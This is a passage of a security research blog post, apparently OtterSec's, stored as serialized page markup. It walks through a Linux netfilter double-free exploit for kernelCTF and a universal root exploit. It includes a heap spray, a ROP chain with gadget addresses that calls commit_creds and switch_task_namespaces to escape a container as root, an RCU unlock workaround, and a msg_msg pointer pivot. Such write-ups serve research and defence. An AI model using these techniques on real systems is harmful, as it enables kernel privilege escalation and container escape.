1);\n",{"type":22,"tag":101,"props":60487,"children":60488},{"class":103,"line":7829},[60489],{"type":22,"tag":101,"props":60490,"children":60491},{"style":6476},[60492],{"type":27,"value":60296},{"type":22,"tag":101,"props":60494,"children":60495},{"class":103,"line":7837},[60496],{"type":22,"tag":101,"props":60497,"children":60498},{"style":6476},[60499],{"type":27,"value":60500}," udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":22,"tag":101,"props":60502,"children":60503},{"class":103,"line":7868},[60504],{"type":22,"tag":101,"props":60505,"children":60506},{"emptyLinePlaceholder":15},[60507],{"type":27,"value":1581},{"type":22,"tag":101,"props":60509,"children":60510},{"class":103,"line":7876},[60511],{"type":22,"tag":101,"props":60512,"children":60513},{"style":6476},[60514],{"type":27,"value":60515}," // Takeover RIP\n",{"type":22,"tag":101,"props":60517,"children":60518},{"class":103,"line":7936},[60519,60523,60527,60531,60535,60540,60545],{"type":22,"tag":101,"props":60520,"children":60521},{"style":6476},[60522],{"type":27,"value":60451},{"type":22,"tag":101,"props":60524,"children":60525},{"style":120},[60526],{"type":27,"value":2414},{"type":22,"tag":101,"props":60528,"children":60529},{"style":166},[60530],{"type":27,"value":8615},{"type":22,"tag":101,"props":60532,"children":60533},{"style":120},[60534],{"type":27,"value":12668},{"type":22,"tag":101,"props":60536,"children":60537},{"style":114},[60538],{"type":27,"value":60539},"Takeover",{"type":22,"tag":101,"props":60541,"children":60542},{"style":114},[60543],{"type":27,"value":60544}," RIP",{"type":22,"tag":101,"props":60546,"children":60547},{"style":6476},[60548],{"type":27,"value":60288},{"type":22,"tag":101,"props":60550,"children":60551},{"class":103,"line":13054},[60552,60557,60561,60566],{"type":22,"tag":101,"props":60553,"children":60554},{"style":6476},[60555],{"type":27,"value":60556}," dump_obj(nl, \"",{"type":22,"tag":101,"props":60558,"children":60559},{"style":108},[60560],{"type":27,"value":60278},{"type":22,"tag":101,"props":60562,"children":60563},{"style":120},[60564],{"type":27,"value":60565},"-1",{"type":22,"tag":101,"props":60567,"children":60568},{"style":6476},[60569],{"type":27,"value":60288},{"type":22,"tag":101,"props":60571,"children":60572},{"class":103,"line":13072},[60573],{"type":22,"tag":101,"props":60574,"children":60575},{"style":6476},[60576],{"type":27,"value":14324},{"type":22,"tag":1760,"props":60578,"children":60580},{"id":60579},"bypass-context-switch-in-rcu-critical-section",[60581],{"type":27,"value":60582},"Bypass context switch in RCU critical-section",{"type":22,"tag":23,"props":60584,"children":60585},{},[60586,60587,60592],{"type":27,"value":2007},{"type":22,"tag":30,"props":60588,"children":60590},{"className":60589},[],[60591],{"type":27,"value":59110},{"type":27,"value":60593}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":22,"tag":23,"props":60595,"children":60596},{},[60597,60599,60606,60608,60614,60616,60622],{"type":27,"value":60598},"A workaround has been discussed before by D3v17 in a ",{"type":22,"tag":80,"props":60600,"children":60603},{"href":60601,"rel":60602},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[84],[60604],{"type":27,"value":60605},"previous kernelCTF submission",{"type":27,"value":60607}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":22,"tag":30,"props":60609,"children":60611},{"className":60610},[],[60612],{"type":27,"value":60613},"task_struct",{"type":27,"value":60615}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":22,"tag":30,"props":60617,"children":60619},{"className":60618},[],[60620],{"type":27,"value":60621},"__rcu_read_unlock()",{"type":27,"value":60623}," function and exit the RCU critical-section before switching contexts.",{"type":22,"tag":91,"props":60625,"children":60627},{"className":33109,"code":60626,"language":33111,"meta":7,"style":7}," // ROP stage 1\n int pos = 3;\n\n rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[60628],{"type":22,"tag":30,"props":60629,"children":60630},{"__ignoreMap":7},[60631,60639,60663,60670],{"type":22,"tag":101,"props":60632,"children":60633},{"class":103,"line":104},[60634],{"type":22,"tag":101,"props":60635,"children":60636},{"style":2215},[60637],{"type":27,"value":60638}," // ROP stage 1\n",{"type":22,"tag":101,"props":60640,"children":60641},{"class":103,"line":157},[60642,60646,60651,60655,60659],{"type":22,"tag":101,"props":60643,"children":60644},{"style":108},[60645],{"type":27,"value":23067},{"type":22,"tag":101,"props":60647,"children":60648},{"style":120},[60649],{"type":27,"value":60650}," pos ",{"type":22,"tag":101,"props":60652,"children":60653},{"style":166},[60654],{"type":27,"value":1511},{"type":22,"tag":101,"props":60656,"children":60657},{"style":1544},[60658],{"type":27,"value":23089},{"type":22,"tag":101,"props":60660,"children":60661},{"style":120},[60662],{"type":27,"value":1520},{"type":22,"tag":101,"props":60664,"children":60665},{"class":103,"line":182},[60666],{"type":22,"tag":101,"props":60667,"children":60668},{"emptyLinePlaceholder":15},[60669],{"type":27,"value":1581},{"type":22,"tag":101,"props":60671,"children":60672},{"class":103,"line":367},[60673,60677,60682,60686,60690,60694,60698,60702],{"type":22,"tag":101,"props":60674,"children":60675},{"style":126},[60676],{"type":27,"value":60166},{"type":22,"tag":101,"props":60678,"children":60679},{"style":120},[60680],{"type":27,"value":60681},"[pos",{"type":22,"tag":101,"props":60683,"children":60684},{"style":166},[60685],{"type":27,"value":55265},{"type":22,"tag":101,"props":60687,"children":60688},{"style":120},[60689],{"type":27,"value":12668},{"type":22,"tag":101,"props":60691,"children":60692},{"style":166},[60693],{"type":27,"value":1511},{"type":22,"tag":101,"props":60695,"children":60696},{"style":120},[60697],{"type":27,"value":60187},{"type":22,"tag":101,"props":60699,"children":60700},{"style":166},[60701],{"type":27,"value":8426},{"type":22,"tag":101,"props":60703,"children":60704},{"style":120},[60705],{"type":27,"value":60706}," __RCU_READ_UNLOCK;\n",{"type":22,"tag":1760,"props":60708,"children":60710},{"id":60709},"rop",[60711],{"type":27,"value":60366},{"type":22,"tag":23,"props":60713,"children":60714},{},[60715],{"type":27,"value":60716},"Most of the ROP chain to escape the container as root is business as usual:",{"type":22,"tag":6839,"props":60718,"children":60719},{},[60720,60731,60742],{"type":22,"tag":6832,"props":60721,"children":60722},{},[60723,60729],{"type":22,"tag":30,"props":60724,"children":60726},{"className":60725},[],[60727],{"type":27,"value":60728},"commit_creds(&init_cred);",{"type":27,"value":60730}," Commit root credentials to our process",{"type":22,"tag":6832,"props":60732,"children":60733},{},[60734,60740],{"type":22,"tag":30,"props":60735,"children":60737},{"className":60736},[],[60738],{"type":27,"value":60739},"task = find_task_by_vpid(1);",{"type":27,"value":60741}," Find the root process of our namespace",{"type":22,"tag":6832,"props":60743,"children":60744},{},[60745,60751],{"type":22,"tag":30,"props":60746,"children":60748},{"className":60747},[],[60749],{"type":27,"value":60750},"switch_task_namespaces(task, &init_nsproxy);",{"type":27,"value":60752}," Move it to the root namespace",{"type":22,"tag":23,"props":60754,"children":60755},{},[60756,60758,60764,60766,60772,60774,60780,60782,60788,60790,60795,60797,60803],{"type":27,"value":60757},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":22,"tag":30,"props":60759,"children":60761},{"className":60760},[],[60762],{"type":27,"value":60763},"find_task_by_vpid(1)",{"type":27,"value":60765}," passed through ",{"type":22,"tag":30,"props":60767,"children":60769},{"className":60768},[],[60770],{"type":27,"value":60771},"rax",{"type":27,"value":60773}," to ",{"type":22,"tag":30,"props":60775,"children":60777},{"className":60776},[],[60778],{"type":27,"value":60779},"rdi",{"type":27,"value":60781},". What I ended up going with was a ",{"type":22,"tag":30,"props":60783,"children":60785},{"className":60784},[],[60786],{"type":27,"value":60787},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":27,"value":60789}," gadget, that allowed me to push the ",{"type":22,"tag":30,"props":60791,"children":60793},{"className":60792},[],[60794],{"type":27,"value":60771},{"type":27,"value":60796}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":22,"tag":30,"props":60798,"children":60800},{"className":60799},[],[60801],{"type":27,"value":60802},"pop rdi; ret",{"type":27,"value":60804}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":22,"tag":6839,"props":60806,"children":60807},{},[60808,60813,60826],{"type":22,"tag":6832,"props":60809,"children":60810},{},[60811],{"type":27,"value":60812},"We push the value onto the stack (stack pointer regresses)",{"type":22,"tag":6832,"props":60814,"children":60815},{},[60816,60818,60824],{"type":27,"value":60817},"We jump to our \"trampoline\" gadget (",{"type":22,"tag":30,"props":60819,"children":60821},{"className":60820},[],[60822],{"type":27,"value":60823},"pop rdi; ret;",{"type":27,"value":60825}," location)",{"type":22,"tag":6832,"props":60827,"children":60828},{},[60829,60834],{"type":22,"tag":30,"props":60830,"children":60832},{"className":60831},[],[60833],{"type":27,"value":60802},{"type":27,"value":60835}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":22,"tag":91,"props":60837,"children":60839},{"className":33109,"code":60838,"language":33111,"meta":7,"style":7},"[...]\n // commit_creds(&init_cred);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = kaslr_slide + INIT_CRED;\n rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n // task = find_task_by_vpid(1);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = 1;\n rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = obj_ptr + 0xe0 - 0x66; // rax -> rdi and resume rop\n rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n // switch_task_namespaces(task, &init_nsproxy);\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = kaslr_slide + INIT_NSPROXY;\n rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[60840],{"type":22,"tag":30,"props":60841,"children":60842},{"__ignoreMap":7},[60843,60850,60867,60912,60948,60984,60991,60999,61042,61073,61109,61154,61209,61254,61261,61269,61312,61348,61384],{"type":22,"tag":101,"props":60844,"children":60845},{"class":103,"line":104},[60846],{"type":22,"tag":101,"props":60847,"children":60848},{"style":120},[60849],{"type":27,"value":14324},{"type":22,"tag":101,"props":60851,"children":60852},{"class":103,"line":157},[60853,60858,60863],{"type":22,"tag":101,"props":60854,"children":60855},{"style":120},[60856],{"type":27,"value":60857}," // commit_creds(&",{"type":22,"tag":101,"props":60859,"children":60860},{"style":126},[60861],{"type":27,"value":60862},"init_cred",{"type":22,"tag":101,"props":60864,"children":60865},{"style":120},[60866],{"type":27,"value":994},{"type":22,"tag":101,"props":60868,"children":60869},{"class":103,"line":182},[60870,60874,60878,60882,60886,60890,60894,60898,60903,60907],{"type":22,"tag":101,"props":60871,"children":60872},{"style":126},[60873],{"type":27,"value":60166},{"type":22,"tag":101,"props":60875,"children":60876},{"style":120},[60877],{"type":27,"value":60681},{"type":22,"tag":101,"props":60879,"children":60880},{"style":166},[60881],{"type":27,"value":55265},{"type":22,"tag":101,"props":60883,"children":60884},{"style":120},[60885],{"type":27,"value":12668},{"type":22,"tag":101,"props":60887,"children":60888},{"style":166},[60889],{"type":27,"value":1511},{"type":22,"tag":101,"props":60891,"children":60892},{"style":120},[60893],{"type":27,"value":60187},{"type":22,"tag":101,"props":60895,"children":60896},{"style":166},[60897],{"type":27,"value":8426},{"type":22,"tag":101,"props":60899,"children":60900},{"style":1544},[60901],{"type":27,"value":60902}," 0xffffffff8112c7c0",{"type":22,"tag":101,"props":60904,"children":60905},{"style":120},[60906],{"type":27,"value":53070},{"type":22,"tag":101,"props":60908,"children":60909},{"style":2215},[60910],{"type":27,"value":60911}," // pop rdi; ret;\n",{"type":22,"tag":101,"props":60913,"children":60914},{"class":103,"line":367},[60915,60919,60923,60927,60931,60935,60939,60943],{"type":22,"tag":101,"props":60916,"children":60917},{"style":126},[60918],{"type":27,"value":60166},{"type":22,"tag":101,"props":60920,"children":60921},{"style":120},[60922],{"type":27,"value":60681},{"type":22,"tag":101,"props":60924,"children":60925},{"style":166},[60926],{"type":27,"value":55265},{"type":22,"tag":101,"props":60928,"children":60929},{"style":120},[60930],{"type":27,"value":12668},{"type":22,"tag":101,"props":60932,"children":60933},{"style":166},[60934],{"type":27,"value":1511},{"type":22,"tag":101,"props":60936,"children":60937},{"style":120},[60938],{"type":27,"value":60187},{"type":22,"tag":101,"props":60940,"children":60941},{"style":166},[60942],{"type":27,"value":8426},{"type":22,"tag":101,"props":60944,"children":60945},{"style":120},[60946],{"type":27,"value":60947}," INIT_CRED;\n",{"type":22,"tag":101,"props":60949,"children":60950},{"class":103,"line":398},[60951,60955,60959,60963,60967,60971,60975,60979],{"type":22,"tag":101,"props":60952,"children":60953},{"style":126},[60954],{"type":27,"value":60166},{"type":22,"tag":101,"props":60956,"children":60957},{"style":120},[60958],{"type":27,"value":60681},{"type":22,"tag":101,"props":60960,"children":60961},{"style":166},[60962],{"type":27,"value":55265},{"type":22,"tag":101,"props":60964,"children":60965},{"style":120},[60966],{"type":27,"value":12668},{"type":22,"tag":101,"props":60968,"children":60969},{"style":166},[60970],{"type":27,"value":1511},{"type":22,"tag":101,"props":60972,"children":60973},{"style":120},[60974],{"type":27,"value":60187},{"type":22,"tag":101,"props":60976,"children":60977},{"style":166},[60978],{"type":27,"value":8426},{"type":22,"tag":101,"props":60980,"children":60981},{"style":120},[60982],{"type":27,"value":60983}," COMMIT_CREDS;\n",{"type":22,"tag":101,"props":60985,"children":60986},{"class":103,"line":428},[60987],{"type":22,"tag":101,"props":60988,"children":60989},{"emptyLinePlaceholder":15},[60990],{"type":27,"value":1581},{"type":22,"tag":101,"props":60992,"children":60993},{"class":103,"line":997},[60994],{"type":22,"tag":101,"props":60995,"children":60996},{"style":2215},[60997],{"type":27,"value":60998}," // task = find_task_by_vpid(1);\n",{"type":22,"tag":101,"props":61000,"children":61001},{"class":103,"line":1032},[61002,61006,61010,61014,61018,61022,61026,61030,61034,61038],{"type":22,"tag":101,"props":61003,"children":61004},{"style":126},[61005],{"type":27,"value":60166},{"type":22,"tag":101,"props":61007,"children":61008},{"style":120},[61009],{"type":27,"value":60681},{"type":22,"tag":101,"props":61011,"children":61012},{"style":166},[61013],{"type":27,"value":55265},{"type":22,"tag":101,"props":61015,"children":61016},{"style":120},[61017],{"type":27,"value":12668},{"type":22,"tag":101,"props":61019,"children":61020},{"style":166},[61021],{"type":27,"value":1511},{"type":22,"tag":101,"props":61023,"children":61024},{"style":120},[61025],{"type":27,"value":60187},{"type":22,"tag":101,"props":61027,"children":61028},{"style":166},[61029],{"type":27,"value":8426},{"type":22,"tag":101,"props":61031,"children":61032},{"style":1544},[61033],{"type":27,"value":60902},{"type":22,"tag":101,"props":61035,"children":61036},{"style":120},[61037],{"type":27,"value":53070},{"type":22,"tag":101,"props":61039,"children":61040},{"style":2215},[61041],{"type":27,"value":60911},{"type":22,"tag":101,"props":61043,"children":61044},{"class":103,"line":1063},[61045,61049,61053,61057,61061,61065,61069],{"type":22,"tag":101,"props":61046,"children":61047},{"style":126},[61048],{"type":27,"value":60166},{"type":22,"tag":101,"props":61050,"children":61051},{"style":120},[61052],{"type":27,"value":60681},{"type":22,"tag":101,"props":61054,"children":61055},{"style":166},[61056],{"type":27,"value":55265},{"type":22,"tag":101,"props":61058,"children":61059},{"style":120},[61060],{"type":27,"value":12668},{"type":22,"tag":101,"props":61062,"children":61063},{"style":166},[61064],{"type":27,"value":1511},{"type":22,"tag":101,"props":61066,"children":61067},{"style":1544},[61068],{"type":27,"value":3648},{"type":22,"tag":101,"props":61070,"children":61071},{"style":120},[61072],{"type":27,"value":1520},{"type":22,"tag":101,"props":61074,"children":61075},{"class":103,"line":1071},[61076,61080,61084,61088,61092,61096,61100,61104],{"type":22,"tag":101,"props":61077,"children":61078},{"style":126},[61079],{"type":27,"value":60166},{"type":22,"tag":101,"props":61081,"children":61082},{"style":120},[61083],{"type":27,"value":60681},{"type":22,"tag":101,"props":61085,"children":61086},{"style":166},[61087],{"type":27,"value":55265},{"type":22,"tag":101,"props":61089,"children":61090},{"style":120},[61091],{"type":27,"value":12668},{"type":22,"tag":101,"props":61093,"children":61094},{"style":166},[61095],{"type":27,"value":1511},{"type":22,"tag":101,"props":61097,"children":61098},{"style":120},[61099],{"type":27,"value":60187},{"type":22,"tag":101,"props":61101,"children":61102},{"style":166},[61103],{"type":27,"value":8426},{"type":22,"tag":101,"props":61105,"children":61106},{"style":120},[61107],{"type":27,"value":61108}," FIND_TASK_BY_VPID;\n",{"type":22,"tag":101,"props":61110,"children":61111},{"class":103,"line":1110},[61112,61116,61120,61124,61128,61132,61136,61140,61145,61149],{"type":22,"tag":101,"props":61113,"children":61114},{"style":126},[61115],{"type":27,"value":60166},{"type":22,"tag":101,"props":61117,"children":61118},{"style":120},[61119],{"type":27,"value":60681},{"type":22,"tag":101,"props":61121,"children":61122},{"style":166},[61123],{"type":27,"value":55265},{"type":22,"tag":101,"props":61125,"children":61126},{"style":120},[61127],{"type":27,"value":12668},{"type":22,"tag":101,"props":61129,"children":61130},{"style":166},[61131],{"type":27,"value":1511},{"type":22,"tag":101,"props":61133,"children":61134},{"style":120},[61135],{"type":27,"value":60187},{"type":22,"tag":101,"props":61137,"children":61138},{"style":166},[61139],{"type":27,"value":8426},{"type":22,"tag":101,"props":61141,"children":61142},{"style":1544},[61143],{"type":27,"value":61144}," 0xffffffff8102e2a6",{"type":22,"tag":101,"props":61146,"children":61147},{"style":120},[61148],{"type":27,"value":53070},{"type":22,"tag":101,"props":61150,"children":61151},{"style":2215},[61152],{"type":27,"value":61153}," // pop rsi; ret;\n",{"type":22,"tag":101,"props":61155,"children":61156},{"class":103,"line":1118},[61157,61161,61165,61169,61173,61177,61182,61186,61191,61195,61200,61204],{"type":22,"tag":101,"props":61158,"children":61159},{"style":126},[61160],{"type":27,"value":60166},{"type":22,"tag":101,"props":61162,"children":61163},{"style":120},[61164],{"type":27,"value":60681},{"type":22,"tag":101,"props":61166,"children":61167},{"style":166},[61168],{"type":27,"value":55265},{"type":22,"tag":101,"props":61170,"children":61171},{"style":120},[61172],{"type":27,"value":12668},{"type":22,"tag":101,"props":61174,"children":61175},{"style":166},[61176],{"type":27,"value":1511},{"type":22,"tag":101,"props":61178,"children":61179},{"style":120},[61180],{"type":27,"value":61181}," obj_ptr ",{"type":22,"tag":101,"props":61183,"children":61184},{"style":166},[61185],{"type":27,"value":8426},{"type":22,"tag":101,"props":61187,"children":61188},{"style":1544},[61189],{"type":27,"value":61190}," 0xe0",{"type":22,"tag":101,"props":61192,"children":61193},{"style":166},[61194],{"type":27,"value":55251},{"type":22,"tag":101,"props":61196,"children":61197},{"style":1544},[61198],{"type":27,"value":61199}," 0x66",{"type":22,"tag":101,"props":61201,"children":61202},{"style":120},[61203],{"type":27,"value":53070},{"type":22,"tag":101,"props":61205,"children":61206},{"style":2215},[61207],{"type":27,"value":61208}," // rax -> rdi and resume rop\n",{"type":22,"tag":101,"props":61210,"children":61211},{"class":103,"line":1158},[61212,61216,61220,61224,61228,61232,61236,61240,61245,61249],{"type":22,"tag":101,"props":61213,"children":61214},{"style":126},[61215],{"type":27,"value":60166},{"type":22,"tag":101,"props":61217,"children":61218},{"style":120},[61219],{"type":27,"value":60681},{"type":22,"tag":101,"props":61221,"children":61222},{"style":166},[61223],{"type":27,"value":55265},{"type":22,"tag":101,"props":61225,"children":61226},{"style":120},[61227],{"type":27,"value":12668},{"type":22,"tag":101,"props":61229,"children":61230},{"style":166},[61231],{"type":27,"value":1511},{"type":22,"tag":101,"props":61233,"children":61234},{"style":120},[61235],{"type":27,"value":60187},{"type":22,"tag":101,"props":61237,"children":61238},{"style":166},[61239],{"type":27,"value":8426},{"type":22,"tag":101,"props":61241,"children":61242},{"style":1544},[61243],{"type":27,"value":61244}," 0xffffffff81caed31",{"type":22,"tag":101,"props":61246,"children":61247},{"style":120},[61248],{"type":27,"value":53070},{"type":22,"tag":101,"props":61250,"children":61251},{"style":2215},[61252],{"type":27,"value":61253}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":22,"tag":101,"props":61255,"children":61256},{"class":103,"line":1166},[61257],{"type":22,"tag":101,"props":61258,"children":61259},{"emptyLinePlaceholder":15},[61260],{"type":27,"value":1581},{"type":22,"tag":101,"props":61262,"children":61263},{"class":103,"line":1215},[61264],{"type":22,"tag":101,"props":61265,"children":61266},{"style":2215},[61267],{"type":27,"value":61268}," // switch_task_namespaces(task, &init_nsproxy);\n",{"type":22,"tag":101,"props":61270,"children":61271},{"class":103,"line":2425},[61272,61276,61280,61284,61288,61292,61296,61300,61304,61308],{"type":22,"tag":101,"props":61273,"children":61274},{"style":126},[61275],{"type":27,"value":60166},{"type":22,"tag":101,"props":61277,"children":61278},{"style":120},[61279],{"type":27,"value":60681},{"type":22,"tag":101,"props":61281,"children":61282},{"style":166},[61283],{"type":27,"value":55265},{"type":22,"tag":101,"props":61285,"children":61286},{"style":120},[61287],{"type":27,"value":12668},{"type":22,"tag":101,"props":61289,"children":61290},{"style":166},[61291],{"type":27,"value":1511},{"type":22,"tag":101,"props":61293,"children":61294},{"style":120},[61295],{"type":27,"value":60187},{"type":22,"tag":101,"props":61297,"children":61298},{"style":166},[61299],{"type":27,"value":8426},{"type":22,"tag":101,"props":61301,"children":61302},{"style":1544},[61303],{"type":27,"value":61144},{"type":22,"tag":101,"props":61305,"children":61306},{"style":120},[61307],{"type":27,"value":53070},{"type":22,"tag":101,"props":61309,"children":61310},{"style":2215},[61311],{"type":27,"value":61153},{"type":22,"tag":101,"props":61313,"children":61314},{"class":103,"line":5417},[61315,61319,61323,61327,61331,61335,61339,61343],{"type":22,"tag":101,"props":61316,"children":61317},{"style":126},[61318],{"type":27,"value":60166},{"type":22,"tag":101,"props":61320,"children":61321},{"style":120},[61322],{"type":27,"value":60681},{"type":22,"tag":101,"props":61324,"children":61325},{"style":166},[61326],{"type":27,"value":55265},{"type":22,"tag":101,"props":61328,"children":61329},{"style":120},[61330],{"type":27,"value":12668},{"type":22,"tag":101,"props":61332,"children":61333},{"style":166},[61334],{"type":27,"value":1511},{"type":22,"tag":101,"props":61336,"children":61337},{"style":120},[61338],{"type":27,"value":60187},{"type":22,"tag":101,"props":61340,"children":61341},{"style":166},[61342],{"type":27,"value":8426},{"type":22,"tag":101,"props":61344,"children":61345},{"style":120},[61346],{"type":27,"value":61347}," INIT_NSPROXY;\n",{"type":22,"tag":101,"props":61349,"children":61350},{"class":103,"line":7714},[61351,61355,61359,61363,61367,61371,61375,61379],{"type":22,"tag":101,"props":61352,"children":61353},{"style":126},[61354],{"type":27,"value":60166},{"type":22,"tag":101,"props":61356,"children":61357},{"style":120},[61358],{"type":27,"value":60681},{"type":22,"tag":101,"props":61360,"children":61361},{"style":166},[61362],{"type":27,"value":55265},{"type":22,"tag":101,"props":61364,"children":61365},{"style":120},[61366],{"type":27,"value":12668},{"type":22,"tag":101,"props":61368,"children":61369},{"style":166},[61370],{"type":27,"value":1511},{"type":22,"tag":101,"props":61372,"children":61373},{"style":120},[61374],{"type":27,"value":60187},{"type":22,"tag":101,"props":61376,"children":61377},{"style":166},[61378],{"type":27,"value":8426},{"type":22,"tag":101,"props":61380,"children":61381},{"style":120},[61382],{"type":27,"value":61383}," SWITCH_TASK_NAMESPACES;\n",{"type":22,"tag":101,"props":61385,"children":61386},{"class":103,"line":7723},[61387],{"type":22,"tag":101,"props":61388,"children":61389},{"style":120},[61390],{"type":27,"value":14324},{"type":22,"tag":1760,"props":61392,"children":61394},{"id":61393},"grabbing-the-kernelctf-flag",[61395],{"type":27,"value":61396},"Grabbing the kernelCTF flag",{"type":22,"tag":23,"props":61398,"children":61399},{},[61400,61404,61406,61413],{"type":22,"tag":7959,"props":61401,"children":61403},{"alt":54574,"src":61402},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":27,"value":61405},"\nYou can find the kernelCTF exploit in our ",{"type":22,"tag":80,"props":61407,"children":61410},{"href":61408,"rel":61409},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[84],[61411],{"type":27,"value":61412},"GitHub",{"type":27,"value":231},{"type":22,"tag":53,"props":61415,"children":61417},{"id":61416},"universal-exploit",[61418],{"type":27,"value":61419},"Universal exploit",{"type":22,"tag":23,"props":61421,"children":61422},{},[61423],{"type":27,"value":61424},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":22,"tag":1760,"props":61426,"children":61428},{"id":61427},"pivot-capability-using-msg_msg-mlistnext-pointer",[61429],{"type":27,"value":61430},"Pivot capability using msg_msg->mlist.next pointer",{"type":22,"tag":23,"props":61432,"children":61433},{},[61434,61436,61442,61444,61449,61451,61457],{"type":27,"value":61435},"Using the double-free vulnerability we can overlap a ",{"type":22,"tag":30,"props":61437,"children":61439},{"className":61438},[],[61440],{"type":27,"value":61441},"msg_msg",{"type":27,"value":61443}," object with with ",{"type":22,"tag":30,"props":61445,"children":61447},{"className":61446},[],[61448],{"type":27,"value":59095},{"type":27,"value":61450}," and control the ",{"type":22,"tag":30,"props":61452,"children":61454},{"className":61453},[],[61455],{"type":27,"value":61456},"m_list.next",{"type":27,"value":61458}," pointer.",{"type":22,"tag":91,"props":61460,"children":61462},{"className":33109,"code":61461,"language":33111,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts; /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[61463],{"type":22,"tag":30,"props":61464,"children":61465},{"__ignoreMap":7},[61466,61474,61490,61511,61524,61542,61567,61583,61591,61598,61605,61613,61645],{"type":22,"tag":101,"props":61467,"children":61468},{"class":103,"line":104},[61469],{"type":22,"tag":101,"props":61470,"children":61471},{"style":2215},[61472],{"type":27,"value":61473},"/* one msg_msg structure for each message */\n",{"type":22,"tag":101,"props":61475,"children":61476},{"class":103,"line":157},[61477,61481,61486],{"type":22,"tag":101,"props":61478,"children":61479},{"style":108},[61480],{"type":27,"value":111},{"type":22,"tag":101,"props":61482,"children":61483},{"style":114},[61484],{"type":27,"value":61485}," msg_msg",{"type":22,"tag":101,"props":61487,"children":61488},{"style":120},[61489],{"type":27,"value":154},{"type":22,"tag":101,"props":61491,"children":61492},{"class":103,"line":182},[61493,61497,61502,61507],{"type":22,"tag":101,"props":61494,"children":61495},{"style":108},[61496],{"type":27,"value":25138},{"type":22,"tag":101,"props":61498,"children":61499},{"style":114},[61500],{"type":27,"value":61501}," list_head",{"type":22,"tag":101,"props":61503,"children":61504},{"style":126},[61505],{"type":27,"value":61506}," m_list",{"type":22,"tag":101,"props":61508,"children":61509},{"style":120},[61510],{"type":27,"value":1520},{"type":22,"tag":101,"props":61512,"children":61513},{"class":103,"line":367},[61514,61519],{"type":22,"tag":101,"props":61515,"children":61516},{"style":108},[61517],{"type":27,"value":61518}," long",{"type":22,"tag":101,"props":61520,"children":61521},{"style":120},[61522],{"type":27,"value":61523}," m_type;\n",{"type":22,"tag":101,"props":61525,"children":61526},{"class":103,"line":398},[61527,61532,61537],{"type":22,"tag":101,"props":61528,"children":61529},{"style":108},[61530],{"type":27,"value":61531}," size_t",{"type":22,"tag":101,"props":61533,"children":61534},{"style":120},[61535],{"type":27,"value":61536}," m_ts;",{"type":22,"tag":101,"props":61538,"children":61539},{"style":2215},[61540],{"type":27,"value":61541}," /* message text size */\n",{"type":22,"tag":101,"props":61543,"children":61544},{"class":103,"line":428},[61545,61549,61554,61558,61563],{"type":22,"tag":101,"props":61546,"children":61547},{"style":108},[61548],{"type":27,"value":25138},{"type":22,"tag":101,"props":61550,"children":61551},{"style":114},[61552],{"type":27,"value":61553}," msg_msgseg",{"type":22,"tag":101,"props":61555,"children":61556},{"style":108},[61557],{"type":27,"value":13822},{"type":22,"tag":101,"props":61559,"children":61560},{"style":126},[61561],{"type":27,"value":61562},"next",{"type":22,"tag":101,"props":61564,"children":61565},{"style":120},[61566],{"type":27,"value":1520},{"type":22,"tag":101,"props":61568,"children":61569},{"class":103,"line":997},[61570,61574,61578],{"type":22,"tag":101,"props":61571,"children":61572},{"style":108},[61573],{"type":27,"value":55045},{"type":22,"tag":101,"props":61575,"children":61576},{"style":166},[61577],{"type":27,"value":13822},{"type":22,"tag":101,"props":61579,"children":61580},{"style":120},[61581],{"type":27,"value":61582},"security;\n",{"type":22,"tag":101,"props":61584,"children":61585},{"class":103,"line":1032},[61586],{"type":22,"tag":101,"props":61587,"children":61588},{"style":2215},[61589],{"type":27,"value":61590}," /* the actual message follows immediately */\n",{"type":22,"tag":101,"props":61592,"children":61593},{"class":103,"line":1063},[61594],{"type":22,"tag":101,"props":61595,"children":61596},{"style":120},[61597],{"type":27,"value":20576},{"type":22,"tag":101,"props":61599,"children":61600},{"class":103,"line":1071},[61601],{"type":22,"tag":101,"props":61602,"children":61603},{"style":120},[61604],{"type":27,"value":14324},{"type":22,"tag":101,"props":61606,"children":61607},{"class":103,"line":1110},[61608],{"type":22,"tag":101,"props":61609,"children":61610},{"style":120},[61611],{"type":27,"value":61612},"struct list_head 